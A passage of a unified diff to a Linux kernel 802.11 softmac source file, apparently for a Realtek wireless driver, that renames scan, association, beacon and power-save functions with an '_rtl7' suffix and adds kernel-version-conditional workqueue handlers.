ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1095,14 +1112,13 @@ } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1128,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1136,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1161,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1179,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1217,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1235,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1249,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1301,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1359,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1376,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1402,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1416,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1426,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1445,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1470,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1478,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1513,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1536,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1547,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1575,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1590,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1627,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1660,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1679,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1687,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1707,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1727,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1740,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1755,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1767,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1782,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1795,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1813,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1821,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1831,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1858,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1875,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1925,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1937,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1951,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1961,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); + ieee80211_reset_queue_rtl7(ieee); if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct 